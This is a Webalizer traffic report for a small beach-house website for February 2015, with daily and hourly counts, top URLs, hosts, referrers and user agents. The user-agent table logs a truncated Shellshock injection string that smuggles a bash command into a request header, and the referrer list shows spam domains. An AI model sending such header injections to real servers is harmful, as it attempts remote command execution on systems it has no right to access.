Usage Statistics for lanikaibeachhouse.com

Summary Period: February 2015
Generated 01-Mar-2015 06:43 PST

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Locations]

Monthly Statistics for February 2015
Total Hits 15048
Total Files 12874
Total Pages 8169
Total Visits 3862
Total kB Files 382824
Total kB In 4507
Total kB Out 330449
Total Unique Sites 1350
Total Unique URLs 439
Total Unique Referrers 346
Total Unique User Agents 410
. Avg Max
Hits per Hour 22 379
Hits per Day 537 1460
Files per Day 459 1418
Pages per Day 291 1202
Visits per Day 137 200
kB Files per Day 13672 25668
kB In per Day 161 370
kB Out per Day 11802 21763
Hits by Response Code
Undefined response code 2
Code 200 - OK 12874
Code 206 - Partial Content 26
Code 302 - Found 1
Code 304 - Not Modified 284
Code 400 - Bad Request 32
Code 401 - Unauthorized 6
Code 403 - Forbidden 53
Code 404 - Not Found 1646
Code 405 - Method Not Allowed 2
Code 408 - Request Timeout 122

Daily usage for February 2015

Daily Statistics for February 2015
Day Hits Files Pages Visits Sites kB F kB In kB Out
1 402 2.67% 294 2.28% 163 2.00% 118 3.06% 122 9.04% 21194 5.54% 123 2.73% 15842 4.79%
2 610 4.05% 550 4.27% 196 2.40% 110 2.85% 109 8.07% 14658 3.83% 224 4.96% 11580 3.50%
3 686 4.56% 631 4.90% 145 1.78% 76 1.97% 78 5.78% 21569 5.63% 257 5.70% 21763 6.59%
4 981 6.52% 354 2.75% 726 8.89% 115 2.98% 108 8.00% 11822 3.09% 180 3.98% 12755 3.86%
5 626 4.16% 535 4.16% 210 2.57% 128 3.31% 128 9.48% 17662 4.61% 207 4.59% 17709 5.36%
6 379 2.52% 332 2.58% 156 1.91% 115 2.98% 128 9.48% 9176 2.40% 117 2.59% 8820 2.67%
7 530 3.52% 474 3.68% 192 2.35% 141 3.65% 118 8.74% 14267 3.73% 181 4.01% 13950 4.22%
8 695 4.62% 570 4.43% 240 2.94% 145 3.75% 117 8.67% 18646 4.87% 240 5.33% 18843 5.70%
9 455 3.02% 413 3.21% 190 2.33% 135 3.50% 112 8.30% 11453 2.99% 155 3.43% 11539 3.49%
10 550 3.65% 501 3.89% 216 2.64% 151 3.91% 129 9.56% 15794 4.13% 185 4.10% 15508 4.69%
11 385 2.56% 344 2.67% 184 2.25% 121 3.13% 106 7.85% 10860 2.84% 137 3.03% 10415 3.15%
12 413 2.74% 382 2.97% 178 2.18% 128 3.31% 131 9.70% 13479 3.52% 130 2.88% 12427 3.76%
13 517 3.44% 428 3.32% 241 2.95% 128 3.31% 116 8.59% 14318 3.74% 159 3.53% 11150 3.37%
14 334 2.22% 284 2.21% 224 2.74% 140 3.63% 130 9.63% 17395 4.54% 96 2.12% 12101 3.66%
15 317 2.11% 269 2.09% 184 2.25% 134 3.47% 115 8.52% 11310 2.95% 98 2.16% 11188 3.39%
16 349 2.32% 317 2.46% 118 1.44% 100 2.59% 92 6.81% 7377 1.93% 111 2.45% 7238 2.19%
17 280 1.86% 205 1.59% 143 1.75% 88 2.28% 88 6.52% 10113 2.64% 91 2.02% 6760 2.05%
18 450 2.99% 354 2.75% 249 3.05% 103 2.67% 88 6.52% 15483 4.04% 135 3.00% 10185 3.08%
19 284 1.89% 243 1.89% 193 2.36% 152 3.94% 125 9.26% 7289 1.90% 77 1.70% 4519 1.37%
20 1460 9.70% 1418 11.01% 1202 14.71% 152 3.94% 156 11.56% 22908 5.98% 370 8.22% 20205 6.11%
21 1440 9.57% 1393 10.82% 1191 14.58% 158 4.09% 139 10.30% 15122 3.95% 368 8.17% 15489 4.69%
22 220 1.46% 195 1.51% 149 1.82% 137 3.55% 124 9.19% 2455 0.64% 54 1.19% 2397 0.73%
23 282 1.87% 239 1.86% 191 2.34% 164 4.25% 146 10.81% 5613 1.47% 71 1.57% 5352 1.62%
24 605 4.02% 572 4.44% 260 3.18% 178 4.61% 148 10.96% 16523 4.32% 208 4.61% 10793 3.27%
25 446 2.96% 381 2.96% 286 3.50% 188 4.87% 169 12.52% 9786 2.56% 118 2.62% 7796 2.36%
26 584 3.88% 508 3.95% 209 2.56% 170 4.40% 164 12.15% 16476 4.30% 197 4.36% 14837 4.49%
27 365 2.43% 328 2.55% 205 2.51% 188 4.87% 157 11.63% 4407 1.15% 109 2.42% 4045 1.22%
28 403 2.68% 360 2.80% 328 4.02% 200 5.18% 142 10.52% 25668 6.70% 114 2.52% 15242 4.61%

Hourly usage for February 2015

Hourly Statistics for February 2015
Hour Hits Files Pages kB F kB In kB Out
Avg Total Avg Total Avg Total Avg Total Avg Total Avg Total
0 14 395 2.62% 11 325 2.52% 8 240 2.94% 508 14227 3.72% 4 113 2.51% 456 12755 3.86%
1 15 422 2.80% 13 369 2.87% 8 233 2.85% 407 11390 2.98% 5 127 2.81% 355 9946 3.01%
2 29 817 5.43% 21 615 4.78% 14 404 4.95% 813 22757 5.94% 9 240 5.33% 699 19565 5.92%
3 22 624 4.15% 17 488 3.79% 16 464 5.68% 616 17249 4.51% 6 163 3.62% 486 13598 4.11%
4 23 647 4.30% 21 607 4.71% 13 384 4.70% 724 20280 5.30% 7 194 4.30% 647 18108 5.48%
5 20 579 3.85% 17 501 3.89% 14 395 4.84% 515 14417 3.77% 6 159 3.52% 405 11346 3.43%
6 27 758 5.04% 25 703 5.46% 14 406 4.97% 728 20397 5.33% 9 239 5.31% 610 17090 5.17%
7 20 587 3.90% 19 550 4.27% 15 435 5.33% 497 13912 3.63% 6 157 3.48% 398 11136 3.37%
8 35 987 6.56% 33 940 7.30% 18 525 6.43% 580 16231 4.24% 12 323 7.17% 541 15156 4.59%
9 45 1275 8.47% 29 814 6.32% 30 857 10.49% 597 16729 4.37% 10 267 5.92% 548 15350 4.65%
10 19 542 3.60% 17 499 3.88% 12 358 4.38% 521 14581 3.81% 6 156 3.47% 449 12560 3.80%
11 21 614 4.08% 20 566 4.40% 13 372 4.55% 406 11358 2.97% 6 175 3.89% 353 9893 2.99%
12 17 489 3.25% 15 447 3.47% 11 333 4.08% 464 12996 3.39% 5 137 3.05% 388 10876 3.29%
13 19 543 3.61% 16 449 3.49% 14 395 4.84% 529 14815 3.87% 5 140 3.10% 475 13310 4.03%
14 15 436 2.90% 14 406 3.15% 8 246 3.01% 526 14735 3.85% 5 131 2.92% 450 12588 3.81%
15 23 652 4.33% 21 598 4.65% 8 238 2.91% 681 19069 4.98% 8 216 4.79% 602 16868 5.10%
16 18 504 3.35% 16 453 3.52% 6 177 2.17% 383 10723 2.80% 6 177 3.94% 320 8959 2.71%
17 21 599 3.98% 16 452 3.51% 10 288 3.53% 570 15966 4.17% 7 184 4.08% 488 13660 4.13%
18 13 365 2.43% 11 316 2.45% 6 194 2.37% 413 11571 3.02% 4 113 2.51% 350 9792 2.96%
19 23 664 4.41% 19 553 4.30% 9 267 3.27% 634 17742 4.63% 9 241 5.35% 558 15629 4.73%
20 28 802 5.33% 25 715 5.55% 9 259 3.17% 899 25164 6.57% 10 280 6.22% 751 21032 6.36%
21 20 581 3.86% 17 503 3.91% 8 247 3.02% 404 11311 2.95% 7 192 4.25% 351 9819 2.97%
22 12 357 2.37% 9 269 2.09% 7 205 2.51% 633 17713 4.63% 3 95 2.11% 527 14767 4.47%
23 28 809 5.38% 26 736 5.72% 8 247 3.02% 625 17492 4.57% 10 287 6.37% 594 16646 5.04%

Top 30 of 439 Total URLs
# Hits kB F kB In kB Out URL
1 2831 18.81% 802 0.21% 563 12.49% 1582 0.48% /
2 2450 16.28% 90864 23.74% 604 13.39% 61604 18.64% /webalizer/usage_201502.html
3 489 3.25% 80503 21.03% 240 5.32% 73466 22.23% /webalizer/usage_201410.html
4 401 2.66% 1288 0.34% 128 2.85% 1413 0.43% /www.f18.org.hk/home.html
5 322 2.14% 1174 0.31% 110 2.44% 1269 0.38% /www.lanikaibeachhouse.com/Home.html
6 131 0.87% 21284 5.56% 44 0.97% 13430 4.06% /webalizer/usage_201501.html
7 123 0.82% 53 0.01% 42 0.94% 91 0.03% /www.f18.org.hk/home_files/home.js
8 115 0.76% 5007 1.31% 38 0.85% 5045 1.53% /www.f18.org.hk/Scripts/iWebSite.js
9 115 0.76% 123 0.03% 39 0.87% 159 0.05% /www.f18.org.hk/home_files/home.css
10 112 0.74% 1249 0.33% 37 0.83% 1286 0.39% /www.f18.org.hk/Scripts/iWebImage.js
11 111 0.74% 253 0.07% 38 0.85% 289 0.09% /www.f18.org.hk/Scripts/Widgets/Navbar/navbar.js
12 111 0.74% 205 0.05% 50 1.12% 235 0.07% /www.f18.org.hk/feed.xml
13 111 0.74% 253 0.07% 43 0.95% 289 0.09% /www.lanikaibeachhouse.com/Scripts/Widgets/Navbar/navbar.js
14 111 0.74% 4365 1.14% 41 0.92% 4401 1.33% /www.lanikaibeachhouse.com/Scripts/iWebSite.js
15 110 0.73% 942 0.25% 40 0.88% 978 0.30% /www.f18.org.hk/Scripts/Widgets/SharedResources/WidgetCommon.js
16 110 0.73% 1061 0.28% 41 0.92% 1077 0.33% /www.lanikaibeachhouse.com/Scripts/iWebImage.js
17 108 0.72% 914 0.24% 43 0.96% 932 0.28% /www.lanikaibeachhouse.com/Scripts/Widgets/SharedResources/WidgetCommon.js
18 107 0.71% 104 0.03% 39 0.86% 137 0.04% /www.lanikaibeachhouse.com/Home_files/Home.css
19 101 0.67% 205 0.05% 48 1.07% 232 0.07% /www.lanikaibeachhouse.com/feed.xml
20 100 0.66% 51 0.01% 37 0.82% 83 0.03% /www.lanikaibeachhouse.com/Home_files/Home.js
21 81 0.54% 867 0.23% 29 0.64% 887 0.27% /webalizer/
22 75 0.50% 12227 3.19% 22 0.49% 6124 1.85% /webalizer/usage_201312.html
23 45 0.30% 132 0.03% 17 0.38% 145 0.04% /www.f18.org.hk/2015_Class_Champs.html
24 34 0.23% 13 0.00% 14 0.31% 23 0.01% /www.f18.org.hk/2015_Class_Champs_files/2015_Class_Champs.js
25 25 0.17% 346 0.09% 9 0.19% 353 0.11% /www.f18.org.hk/2015_Class_Champs_files/2015 F18 Results.htm
26 25 0.17% 23 0.01% 10 0.22% 30 0.01% /www.f18.org.hk/2015_Class_Champs_files/2015_Class_Champs.css
27 24 0.16% 1945 0.51% 10 0.21% 1952 0.59% /www.f18.org.hk/2015_Class_Champs_files/HKFCA New Year Regatta NoR.pdf
28 24 0.16% 351 0.09% 11 0.23% 358 0.11% /www.lanikaibeachhouse.com/Beach_house_files/rss.xml
29 22 0.15% 178 0.05% 8 0.19% 184 0.06% /www.lanikaibeachhouse.com/Activities_files/rss.xml
30 20 0.13% 47 0.01% 9 0.19% 54 0.02% /www.lanikaibeachhouse.com/Scripts/Widgets/HeaderControls/HeaderControls.js

Top 10 of 439 Total URLs By kB F
# Hits kB F kB In kB Out URL
1 2450 16.28% 90864 23.74% 604 13.39% 61604 18.64% /webalizer/usage_201502.html
2 489 3.25% 80503 21.03% 240 5.32% 73466 22.23% /webalizer/usage_201410.html
3 131 0.87% 21284 5.56% 44 0.97% 13430 4.06% /webalizer/usage_201501.html
4 14 0.09% 16918 4.42% 5 0.11% 13335 4.04% /www.f18.org.hk/2015_Class_Champs_files/HKFCA NY Regatta SIs.pdf
5 75 0.50% 12227 3.19% 22 0.49% 6124 1.85% /webalizer/usage_201312.html
6 5 0.03% 6604 1.73% 2 0.05% 5066 1.53% /www.f18.org.hk/2015_Class_Champs_files/F18CR010113-[14147].pdf
7 115 0.76% 5007 1.31% 38 0.85% 5045 1.53% /www.f18.org.hk/Scripts/iWebSite.js
8 111 0.74% 4365 1.14% 41 0.92% 4401 1.33% /www.lanikaibeachhouse.com/Scripts/iWebSite.js
9 12 0.08% 3311 0.86% 4 0.09% 3314 1.00% /www.f18.org.hk/Measurement_files/F18 Measurement form.xls
10 4 0.03% 2212 0.58% 2 0.04% 2213 0.67% /www.f18.org.hk/HKF18CA_Rules_files/f182010_cr_200410-1.pdf

Top 10 of 50 Total Entry Pages
# Hits Visits URL
1 2831 18.81% 2775 74.60% /
2 401 2.66% 214 5.75% /www.f18.org.hk/home.html
3 489 3.25% 185 4.97% /webalizer/usage_201410.html
4 2450 16.28% 123 3.31% /webalizer/usage_201502.html
5 322 2.14% 107 2.88% /www.lanikaibeachhouse.com/Home.html
6 81 0.54% 79 2.12% /webalizer/
7 131 0.87% 75 2.02% /webalizer/usage_201501.html
8 75 0.50% 21 0.56% /webalizer/usage_201312.html
9 15 0.10% 13 0.35% /booking.htm
10 45 0.30% 13 0.35% /www.f18.org.hk/2015_Class_Champs.html

Top 10 of 26 Total Exit Pages
# Hits Visits URL
1 2831 18.81% 492 51.74% /
2 489 3.25% 131 13.77% /webalizer/usage_201410.html
3 401 2.66% 128 13.46% /www.f18.org.hk/home.html
4 2450 16.28% 52 5.47% /webalizer/usage_201502.html
5 81 0.54% 51 5.36% /webalizer/
6 322 2.14% 44 4.63% /www.lanikaibeachhouse.com/Home.html
7 75 0.50% 18 1.89% /webalizer/usage_201312.html
8 131 0.87% 14 1.47% /webalizer/usage_201501.html
9 9 0.06% 2 0.21% /942directions.htm
10 15 0.10% 2 0.21% /booking.htm

Top 30 of 1350 Total Sites
# Hits Files kB F kB In kB Out Visits Hostname
1 2003 13.31% 2003 15.56% 21259 5.55% 0 0.00% 0 0.00% 5 0.13% 91.216.46.192
2 448 2.98% 447 3.47% 73739 19.26% 0 0.00% 0 0.00% 150 3.88% 188.123.248.103
3 436 2.90% 401 3.11% 18387 4.80% 0 0.00% 0 0.00% 8 0.21% 210.5.164.67
4 375 2.49% 2 0.02% 11 0.00% 0 0.00% 0 0.00% 1 0.03% 204.110.9.197
5 303 2.01% 303 2.35% 48139 12.57% 27 0.59% 6644 2.01% 50 1.29% 5.9.58.169
6 259 1.72% 127 0.99% 5371 1.40% 0 0.00% 0 0.00% 8 0.21% 125.215.215.25
7 191 1.27% 173 1.34% 2389 0.62% 0 0.00% 0 0.00% 1 0.03% 216.228.112.21
8 179 1.19% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 2 0.05% 198.154.63.131
9 148 0.98% 146 1.13% 1147 0.30% 0 0.00% 0 0.00% 1 0.03% 202.66.80.6
10 137 0.91% 119 0.92% 1250 0.33% 0 0.00% 0 0.00% 1 0.03% 123.123.19.207
11 135 0.90% 133 1.03% 491 0.13% 0 0.00% 0 0.00% 1 0.03% 182.64.94.38
12 134 0.89% 133 1.03% 2288 0.60% 0 0.00% 0 0.00% 1 0.03% 84.74.176.66
13 131 0.87% 131 1.02% 5448 1.42% 0 0.00% 0 0.00% 5 0.13% 61.205.218.205
14 124 0.82% 122 0.95% 1701 0.44% 0 0.00% 0 0.00% 1 0.03% 69.176.171.122
15 121 0.80% 120 0.93% 2252 0.59% 0 0.00% 0 0.00% 1 0.03% 188.95.43.130
16 117 0.78% 78 0.61% 11531 3.01% 0 0.00% 0 0.00% 3 0.08% 210.177.64.78
17 116 0.77% 115 0.89% 1183 0.31% 0 0.00% 0 0.00% 1 0.03% 70.210.156.99
18 114 0.76% 114 0.89% 2201 0.57% 0 0.00% 0 0.00% 2 0.05% 76.93.199.233
19 113 0.75% 112 0.87% 2215 0.58% 0 0.00% 0 0.00% 1 0.03% 67.52.71.234
20 76 0.51% 52 0.40% 1864 0.49% 0 0.00% 0 0.00% 10 0.26% 199.21.99.199
21 75 0.50% 73 0.57% 312 0.08% 0 0.00% 0 0.00% 1 0.03% 171.159.64.10
22 74 0.49% 74 0.57% 310 0.08% 0 0.00% 0 0.00% 1 0.03% 152.16.191.38
23 72 0.48% 72 0.56% 11886 3.10% 0 0.00% 0 0.00% 18 0.47% 155.133.18.134
24 72 0.48% 72 0.56% 10728 2.80% 0 0.00% 0 0.00% 11 0.28% 31.184.238.11
25 71 0.47% 70 0.54% 311 0.08% 0 0.00% 0 0.00% 1 0.03% 8.12.165.146
26 70 0.47% 70 0.54% 3480 0.91% 0 0.00% 0 0.00% 2 0.05% 203.198.173.90
27 69 0.46% 69 0.54% 347 0.09% 0 0.00% 0 0.00% 1 0.03% 24.165.59.72
28 67 0.45% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 1 0.03% 36.251.85.254
29 60 0.40% 59 0.46% 125 0.03% 0 0.00% 0 0.00% 1 0.03% 109.169.29.30
30 54 0.36% 53 0.41% 2405 0.63% 0 0.00% 0 0.00% 1 0.03% 91.48.150.84

Top 10 of 1350 Total Sites By kB F
# Hits Files kB F kB In kB Out Visits Hostname
1 448 2.98% 447 3.47% 73739 19.26% 0 0.00% 0 0.00% 150 3.88% 188.123.248.103
2 303 2.01% 303 2.35% 48139 12.57% 27 0.59% 6644 2.01% 50 1.29% 5.9.58.169
3 2003 13.31% 2003 15.56% 21259 5.55% 0 0.00% 0 0.00% 5 0.13% 91.216.46.192
4 436 2.90% 401 3.11% 18387 4.80% 0 0.00% 0 0.00% 8 0.21% 210.5.164.67
5 72 0.48% 72 0.56% 11886 3.10% 0 0.00% 0 0.00% 18 0.47% 155.133.18.134
6 117 0.78% 78 0.61% 11531 3.01% 0 0.00% 0 0.00% 3 0.08% 210.177.64.78
7 72 0.48% 72 0.56% 10728 2.80% 0 0.00% 0 0.00% 11 0.28% 31.184.238.11
8 46 0.31% 42 0.33% 8274 2.16% 0 0.00% 0 0.00% 2 0.05% 61.92.149.30
9 36 0.24% 36 0.28% 5933 1.55% 0 0.00% 0 0.00% 5 0.13% 83.142.111.161
10 131 0.87% 131 1.02% 5448 1.42% 0 0.00% 0 0.00% 5 0.13% 61.205.218.205

Top 30 of 346 Total Referrers
# Hits Referrer
1 5438 36.14% - (Direct Request)
2 1002 6.66% http://onlinebooksclub.com
3 1000 6.65% http://wabneajodent.ddns.net
4 966 6.42% http://f18.org.hk/www.f18.org.hk/home.html
5 691 4.59% http://www.f18.org.hk/www.f18.org.hk/home.html
6 231 1.54% http://www.f18.org.hk/www.f18.org.hk/2015_Class_Champs.html
7 212 1.41% http://www.xolodremont.ru/remont_holodilnikov_na_domu.html
8 165 1.10% http://www.xolodremont.ru/master_po_remontu_holodilnikov.html
9 145 0.96% http://www.f18.org.hk/www.f18.org.hk/Racing.html
10 93 0.62% http://www.gorodservis.ru
11 88 0.58% http://www.f18.org.hk/
12 87 0.58% http://f18.org.hk/
13 69 0.46% http://semalt.semalt.com/crawler.php
14 58 0.39% http://image.baidu.com/i
15 57 0.38% http://www.f18.org.hk/www.f18.org.hk/2013_Class_Champs.html
16 57 0.38% http://www.f18.org.hk/www.f18.org.hk/Aims.html
17 56 0.37% http://www.f18.org.hk/www.f18.org.hk/2012_Class_Champs.html
18 56 0.37% http://www.f18.org.hk/www.f18.org.hk/Results_2014_Class_Champs.html
19 54 0.36% http://www.f18.org.hk/www.f18.org.hk/2014_Class_Champs.html
20 50 0.33% http://www.f18.org.hk/www.f18.org.hk/2011_Class_Champs.html
21 46 0.31% http://www.f18.org.hk/www.f18.org.hk/Results_2013_Class_Champs.html
22 44 0.29% http://buttons-for-website.com
23 39 0.26% http://www.f18.org.hk/www.f18.org.hk/Measurement.html
24 36 0.24% http://www.gamedisney.ru/
25 33 0.22% http://www.f18.org.hk/www.f18.org.hk/HKF18CA_Rules.html
26 28 0.19% http://f18.org.hk/www.f18.org.hk/2015_Class_Champs.html
27 28 0.19% http://travel2asia.org
28 27 0.18% http://www.f18.org.hk/www.f18.org.hk/Results_2012_Class_Champs.html
29 26 0.17% http://www.f18.org.hk/www.f18.org.hk/Results_2011_Class_Champs.html
30 23 0.15% http://www.xolodremont.ru/

Top 9 of 9 Total Search Strings
# Hits Search String
1 1 11.11% akvagrim-msk.ru/avtozavodskaya.html
2 1 11.11% akvagrim-msk.ru/domodedovskaya.html
3 1 11.11% akvagrim-msk.ru/krasnoselskaya.html
4 1 11.11% akvagrim-msk.ru/marino.html
5 1 11.11% akvagrim-msk.ru/varshavskaya.html
6 1 11.11% free proxy checker
7 1 11.11% http://akvagrim-msk.ru/domodedovo.html
8 1 11.11% http://akvagrim-msk.ru/krasnogvardeyskaya.html
9 1 11.11% lanikai beach house

Top 15 of 410 Total User Agents
# Hits User Agent
1 2013 13.38% Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
2 1855 12.33% Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36
3 1076 7.15% Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
4 944 6.27% Mozilla/5.0 (Windows NT 5.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2
5 694 4.61% Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
6 382 2.54% () { :;};echo; /bin/bash -c \
7 354 2.35% Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.94 Safari/537.36
8 329 2.19% Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
9 312 2.07% Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
10 303 2.01% Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
11 283 1.88% Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
12 280 1.86% Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36
13 191 1.27% Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_2 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A501 Sa
14 162 1.08% Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:35.0) Gecko/20100101 Firefox/35.0
15 153 1.02% Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36

Usage by Location for February 2015

Top 30 of 55 Total Locations
# Hits Files kB F kB In kB Out Location
1 4157 27.62% 3936 30.57% 119453 31.20% 154 3.41% 7784 2.36% Unresolved/Unknown
2 3426 22.77% 2406 18.69% 46334 12.10% 13 0.28% 997 0.30% United States
3 2945 19.57% 2519 19.57% 11931 3.12% 202 4.48% 359 0.11% China
4 1476 9.81% 1224 9.51% 61026 15.94% 0 0.00% 0 0.00% Hong Kong
5 614 4.08% 613 4.76% 13918 3.64% 8 0.17% 807 0.24% Brazil
6 582 3.87% 531 4.12% 80398 21.00% 86 1.91% 86 0.03% Russian Federation
7 214 1.42% 209 1.62% 3585 0.94% 0 0.00% 0 0.00% Great Britain (UK)
8 164 1.09% 156 1.21% 5889 1.54% 0 0.00% 0 0.00% Japan
9 140 0.93% 133 1.03% 2288 0.60% 0 0.00% 0 0.00% Switzerland
10 132 0.88% 132 1.03% 2169 0.57% 0 0.00% 0 0.00% Italy
11 130 0.86% 109 0.85% 2818 0.74% 0 0.00% 1 0.00% Germany
12 125 0.83% 122 0.95% 1701 0.44% 0 0.00% 0 0.00% Canada
13 119 0.79% 69 0.54% 2003 0.52% 0 0.00% 0 0.00% France
14 73 0.49% 43 0.33% 1602 0.42% 0 0.00% 0 0.00% Spain
15 68 0.45% 68 0.53% 1234 0.32% 0 0.00% 0 0.00% India
16 65 0.43% 65 0.50% 1085 0.28% 0 0.00% 0 0.00% Mexico
17 65 0.43% 60 0.47% 8770 2.29% 0 0.00% 0 0.00% Ukraine
18 61 0.41% 54 0.42% 1351 0.35% 0 0.00% 0 0.00% Philippines
19 49 0.33% 44 0.34% 284 0.07% 0 0.00% 0 0.00% Portugal
20 45 0.30% 45 0.35% 6925 1.81% 1 0.02% 258 0.08% Belarus
21 29 0.19% 22 0.17% 142 0.04% 0 0.00% 0 0.00% Norway
22 25 0.17% 22 0.17% 142 0.04% 0 0.00% 0 0.00% Poland
23 24 0.16% 23 0.18% 168 0.04% 0 0.00% 0 0.00% Argentina
24 24 0.16% 23 0.18% 144 0.04% 0 0.00% 0 0.00% Austria
25 23 0.15% 23 0.18% 142 0.04% 0 0.00% 0 0.00% Czech Republic
26 22 0.15% 22 0.17% 142 0.04% 0 0.00% 0 0.00% Chile
27 22 0.15% 22 0.17% 142 0.04% 0 0.00% 0 0.00% Ecuador
28 22 0.15% 22 0.17% 142 0.04% 0 0.00% 0 0.00% Latvia
29 22 0.15% 21 0.16% 801 0.21% 0 0.00% 0 0.00% Macedonia
30 22 0.15% 22 0.17% 142 0.04% 0 0.00% 0 0.00% Malaysia


Generated by Webalizer Version 2.01